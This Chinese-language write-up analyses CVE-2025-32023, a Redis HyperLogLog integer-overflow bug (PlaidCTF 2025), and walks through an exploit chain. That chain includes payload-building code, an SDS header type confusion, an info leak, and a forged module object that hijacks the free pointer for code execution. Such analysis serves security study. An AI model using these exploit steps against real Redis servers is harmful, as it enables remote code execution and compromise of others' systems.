TL; DR
漏洞分析版本: commit a0a6f23d997b024689ba157916837f493a593a34 (HEAD, tag: 7.4.2)
该漏洞是 PlaidCTF 2025 “Zerodeo” 题目。
CVE-2025-32023
Redis 在调用 pfmerge
命令的时候会调用 hyperloglog.c
里的 void pfmergeCommand(client *c)
函数
pfmerge
[1] 的作用是将多个 HLL 的数据合并到一个目标 key 中, 是用来合并多个 HypeLogLog (HLL)数据。 对格式错误的 HLL 进行操作时,可能会使 int i 中计数的总长度溢出为负值。这允许攻击者覆盖 HLL 结构上的负偏移量,从而导致栈/堆上的越界写。 (eg: hllMerge()
函数中会发生栈越界, hllSparseToDense()
发生堆越界写)
漏洞原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| void pfmergeCommand(client *c) { uint8_t max[HLL_REGISTERS]; struct hllhdr *hdr; int j; int use_dense = 0;
memset(max,0,sizeof(max)); for (j = 1; j < c->argc; j++) { ...
if (hllMerge(max,o) == C_ERR) { ... } }
if (use_dense && hllSparseToDense(o) == C_ERR) { ... }
... }
|
在 hllSparseToDense
函数中会造成堆相关的越界写, 作者的漏洞利用也是用的这个漏洞原语。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| int hllSparseToDense(robj *o) { sds sparse = o->ptr, dense; struct hllhdr *hdr, *oldhdr = (struct hllhdr*)sparse; int idx = 0, runlen, regval; uint8_t *p = (uint8_t*)sparse, *end = p+sdslen(sparse);
hdr = (struct hllhdr*) sparse; if (hdr->encoding == HLL_DENSE) return C_OK;
dense = sdsnewlen(NULL,HLL_DENSE_SIZE); hdr = (struct hllhdr*) dense; *hdr = *oldhdr; hdr->encoding = HLL_DENSE;
p += HLL_HDR_SIZE; while(p < end) { if (HLL_SPARSE_IS_ZERO(p)) { runlen = HLL_SPARSE_ZERO_LEN(p); idx += runlen; p++; } else if (HLL_SPARSE_IS_XZERO(p)) { runlen = HLL_SPARSE_XZERO_LEN(p); idx += runlen; p += 2; } else { runlen = HLL_SPARSE_VAL_LEN(p); regval = HLL_SPARSE_VAL_VALUE(p); if ((runlen + idx) > HLL_REGISTERS) break; while(runlen--) { HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval); idx++; } p++; } }
if (idx != HLL_REGISTERS) { sdsfree(dense); return C_ERR; }
sdsfree(o->ptr); o->ptr = dense; return C_OK; }
|
while 循环之前是对 HLL 数据的的部分 header 解析,之后是一个转换过程。 HLL 数据是一种 SDS [2]字符串的表示。 我们可以用 set
命令来伪造一个 HLL 数据。
while 循环过程中,是将 HLL 的数据从 sparse
转换成 dense
。 在转换过程中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| while(p < end) { if (HLL_SPARSE_IS_ZERO(p)) { runlen = HLL_SPARSE_ZERO_LEN(p); idx += runlen; p++; } else if (HLL_SPARSE_IS_XZERO(p)) { runlen = HLL_SPARSE_XZERO_LEN(p); idx += runlen; p += 2; } else { runlen = HLL_SPARSE_VAL_LEN(p); regval = HLL_SPARSE_VAL_VALUE(p); if ((runlen + idx) > HLL_REGISTERS) break; while(runlen--) { HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval); idx++; } p++; } }
|
如果当前的数据既不是 HLL_SPARSE_IS_ZERO
也不是 HLL_SPARSE_IS_XZERO
会进入到 HLL_DENSE_SET_REGISTER
函数, 在进到 HLL_DENSE_SET_REGISTER
函数之前有一个判断这个 idx 是否越界。
1
| if ((runlen + idx) > HLL_REGISTERS) break;
|
runlen
和 idx
都是一个 int 类型的变量, , 而 idx 的值可以在 HLL_SPARSE_IS_ZERO
或者 HLL_SPARSE_IS_ZERO
条件下语句中累加而成。
我们可以通过构造 HLL 数据, 让 idx 不断累加成一个负数。

然后在 HLL_DENSE_SET_REGISTER
函数中就会发生越界
1 2 3 4 5 6 7 8 9 10 11
| #define HLL_DENSE_SET_REGISTER(p,regnum,val) do { \ uint8_t *_p = (uint8_t*) p; \ unsigned long _byte = (regnum)*HLL_BITS/8; \ unsigned long _fb = (regnum)*HLL_BITS&7; \ unsigned long _fb8 = 8 - _fb; \ unsigned long _v = (val); \ _p[_byte] &= ~(HLL_REGISTER_MAX << _fb); \ _p[_byte] |= _v << _fb; \ _p[_byte+1] &= ~(HLL_REGISTER_MAX >> _fb8); \ _p[_byte+1] |= _v >> _fb8; \ } while(0)
|
PoC 构造
构造越界 payload
HLL 结构大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
struct hllhdr { char magic[4]; uint8_t encoding; uint8_t notused[3]; uint8_t card[8]; uint8_t registers[]; };
#define HLL_P 14 #define HLL_REGISTERS (1<<HLL_P) #define HLL_DENSE_SIZE (HLL_HDR_SIZE+((HLL_REGISTERS*HLL_BITS+7)/8))
+---------+----------+-----------+--------+----------- | "HYLL" | encoding | noused | card | registers +---------+----------+--------------------+----------- 4字节 1字节 3字节 8字节 12288字节
|
- 稀疏(Sparse)编码
1 2 3
| +---------+----------+---------+---------+-------------------+ | "HYLL" | 0x01 | 保留3字节 | 保留8字节 | 指令流(2字节/条) | +---------+----------+---------+---------+-------------------+
|
从作者的exploit[3]可以看到, 作者通过构造如下的 HLL sparse 让在代码在转换的时候能计算出来一个负数的idx
1 2 3 4 5 6 7 8 9 10 11
| pl = b'HYLL'· pl += p8(HLL_SPARSE) + p8(0)*3 pl += p8(0)*8 assert len(pl) == 0x10 pl += xzero(0x4000) * 0x3fffd pl += xzero(0xc000 - 0x956c) pl += p8(0b1_00011_00) pl += xzero(0x156b) pl += xzero(0x4000) * 3 time.sleep(1) r.set('hll:expp', pl)
|
可以看到有一段 xzero(0x4000) * 0x3fffd
的数据, 可以通过这样数据,就构造 0x3fffd 轮次的 0x4000 idx 累加, 在加上后面的 pl += xzero(0xc000 - 0x956c)
数据,最后就能构造一个负数的 idx

寻找越界写目标

在单次下, 我们可以从 registers 往前越界写任意(可构造)偏移一个字节。 作者的思路是在 HLL 结构前面构造 sds 结构, 然后修改 sds 结构的 len 来进行类型混淆。
sds 有几种不同的类型, 其取长度的方式也不一样·
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| static inline size_t sdslen(const sds s) { unsigned char flags = s[-1]; switch(flags&SDS_TYPE_MASK) { case SDS_TYPE_5: return SDS_TYPE_5_LEN(flags); case SDS_TYPE_8: return SDS_HDR(8,s)->len; case SDS_TYPE_16: return SDS_HDR(16,s)->len; case SDS_TYPE_32: return SDS_HDR(32,s)->len; case SDS_TYPE_64: return SDS_HDR(64,s)->len; } return 0; }
|
例如正常情况下, 我们使用 setrange 长度为0x37fa-8
长度, 此时长度小于 65535 , 根据函数sdsReqType
创建出来的 sds 数据,其 flags
位置应该是 2 (SDS_TYPE_16)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
static inline char sdsReqType(size_t string_size) { if (string_size < 1<<5) return SDS_TYPE_5; if (string_size < 1<<8) return SDS_TYPE_8; if (string_size < 1<<16) return SDS_TYPE_16; #if (LONG_MAX == LLONG_MAX) if (string_size < 1ll<<32) return SDS_TYPE_32; return SDS_TYPE_64; #else return SDS_TYPE_32; #endif }
|
然后在 _sdsnewlen
函数中完成对 sds 结构的初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| sds _sdsnewlen(const void *init, size_t initlen, int trymalloc) { char type = sdsReqType(initlen);
if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8; int hdrlen = sdsHdrSize(type); unsigned char *fp; size_t usable; ... s = (char*)sh+hdrlen; fp = ((unsigned char*)s)-1; ... switch(type) { case SDS_TYPE_5: { *fp = type | (initlen << SDS_TYPE_BITS); break; } case SDS_TYPE_8: { SDS_HDR_VAR(8,s); sh->len = initlen; sh->alloc = usable; *fp = type; break; } case SDS_TYPE_16: { SDS_HDR_VAR(16,s); sh->len = initlen; sh->alloc = usable; *fp = type; break; } case SDS_TYPE_32: { SDS_HDR_VAR(32,s); sh->len = initlen; sh->alloc = usable; *fp = type; break; } case SDS_TYPE_64: { SDS_HDR_VAR(64,s); sh->len = initlen; sh->alloc = usable; *fp = type; break; } } if (initlen && init) memcpy(s, init, initlen); s[initlen] = '\0'; return s;
|
在内存中可以看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| pwndbg> p/x 0x8c & 0x3 $106 = 0x0 pwndbg> p idx $107 = -38252 pwndbg> p idx*6/8 $108 = -28689 pwndbg> p hdr->registers $109 = 0x7ffff797d015 "" pwndbg> pwndbg> x/20bx 0x7ffff7976000 0x7ffff7976000: 0xfa 0x37 0xfa 0x37 0x02 0x00 0x00 0x00 0x7ffff7976008: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7ffff7976010: 0x00 0x00 0x00 0x00
pwndbg> x/20bx 0x7ffff7976000+0x37fa-8 0x7ffff79797f2: 0x00 0x00 0x00 0x00 0x00 0x42 0x42 0x42 0x7ffff79797fa: 0x42 0x42 0x42 0x42 0x42 0x00 0xfa 0x37 0x7ffff7979802: 0xfa 0x37 0x02 0x00 pwndbg> pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000 $104 = { len = 0x37fa, alloc = 0x37fa, flags = 0x2, buf = 0x7ffff7976005 } pwndbg>
|
由于 sdslen
函数取 sds 长度,是先根据不同的 flags, 然后再根据这个 flags 取计算这个 sds 的header 长度, 然后以当前地址减去 header长度取 len 这个变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| static inline size_t sdslen(const sds s) { unsigned char flags = s[-1]; switch(flags&SDS_TYPE_MASK) { case SDS_TYPE_5: return SDS_TYPE_5_LEN(flags); case SDS_TYPE_8: return SDS_HDR(8,s)->len; case SDS_TYPE_16: return SDS_HDR(16,s)->len; case SDS_TYPE_32: return SDS_HDR(32,s)->len; case SDS_TYPE_64: return SDS_HDR(64,s)->len; } return 0; }
struct __attribute__ ((__packed__)) sdshdr16 { uint16_t len; uint16_t alloc; unsigned char flags; char buf[]; };
struct __attribute__ ((__packed__)) sdshdr64 { uint64_t len; uint64_t alloc; unsigned char flags; char buf[]; };
|
而 sdshdr64
和sdshdr16
的结构体 大小不一样,因此如果将 sds16
的 flags 改成 SDS_TYPE_64
, 将为从上一个内存中取一个值作为 sds的长度 (造成一个类似类型混淆的效果)
1 2 3 4
| fakelen = 0x4142434445464748 r.setrange('sds:aa', 0x37fa - 11, p64(fakelen)) # sds @ 0x0005, p64() 00 00 00 00 r.setrange('sds:bb', 0x37fa - 8, b'B'*8) # sds @ 0x3805, ................. fa 37 fa 37 02 ~
|

例如下面的这样的一个效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000 $115 = { len = 0x37fa, alloc = 0x37fa, flags = 0x2, buf = 0x7ffff7976005 } pwndbg> p/x *(struct sdshdr64 *)(0x7ffff7976000-11) $116 = { len = 0x41424344454647, alloc = 0x237fa37fa000000, flags = 0x0, buf = 0x7ffff7976006 } pwndbg>
|
当从 sdshder16
被当成 sdshdr64
后, sds:b
的长度就变成了上一个内存的一个可控制, 作者是将这个值设置成0x41424344454647
。 这样当我们就可以将这个sds:b
当作一个很长的字符串进行操作。作者后面的思路是在内存后喷一堆 embstr, 然后取读取 sds:b
的内容 。 由于此时 sds:b 长度很长,因此读取这个字符串的时候能读书很多的数据,可以读到内存后面很多的东西,这样就可以做 info leak。
然后通过写 sds:b
字符串到操作,在内存中伪造了一个 type 为 Modules 的 Object
1 2 3 4 5 6
| # fake module object pl = p8(0x05) + dump[tofs+1:tofs+4] # type, encoding, lru pl += p32(1) # refcount pl += p64(badr + 0x10) # ptr r.setrange('sds:bb', tofs+3, pl)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| typedef struct RedisModuleType { uint64_t id; struct RedisModule *module; moduleTypeLoadFunc rdb_load; moduleTypeSaveFunc rdb_save; moduleTypeRewriteFunc aof_rewrite; moduleTypeMemUsageFunc mem_usage; moduleTypeDigestFunc digest; moduleTypeFreeFunc free; moduleTypeFreeEffortFunc free_effort; moduleTypeUnlinkFunc unlink; moduleTypeCopyFunc copy; moduleTypeDefragFunc defrag; moduleTypeAuxLoadFunc aux_load; moduleTypeAuxSaveFunc aux_save; moduleTypeMemUsageFunc2 mem_usage2; moduleTypeFreeEffortFunc2 free_effort2; moduleTypeUnlinkFunc2 unlink2; moduleTypeCopyFunc2 copy2; moduleTypeAuxSaveFunc aux_save2; int aux_save_triggers; char name[10]; } moduleType;
void freeModuleObject(robj *o) { moduleValue *mv = o->ptr; mv->type->free(mv->value); zfree(mv); }
|
通过需改 type->free
来控制 PC
完整的利用流程
可以看 deepwiki 生成的这个流程图[4]

Reference link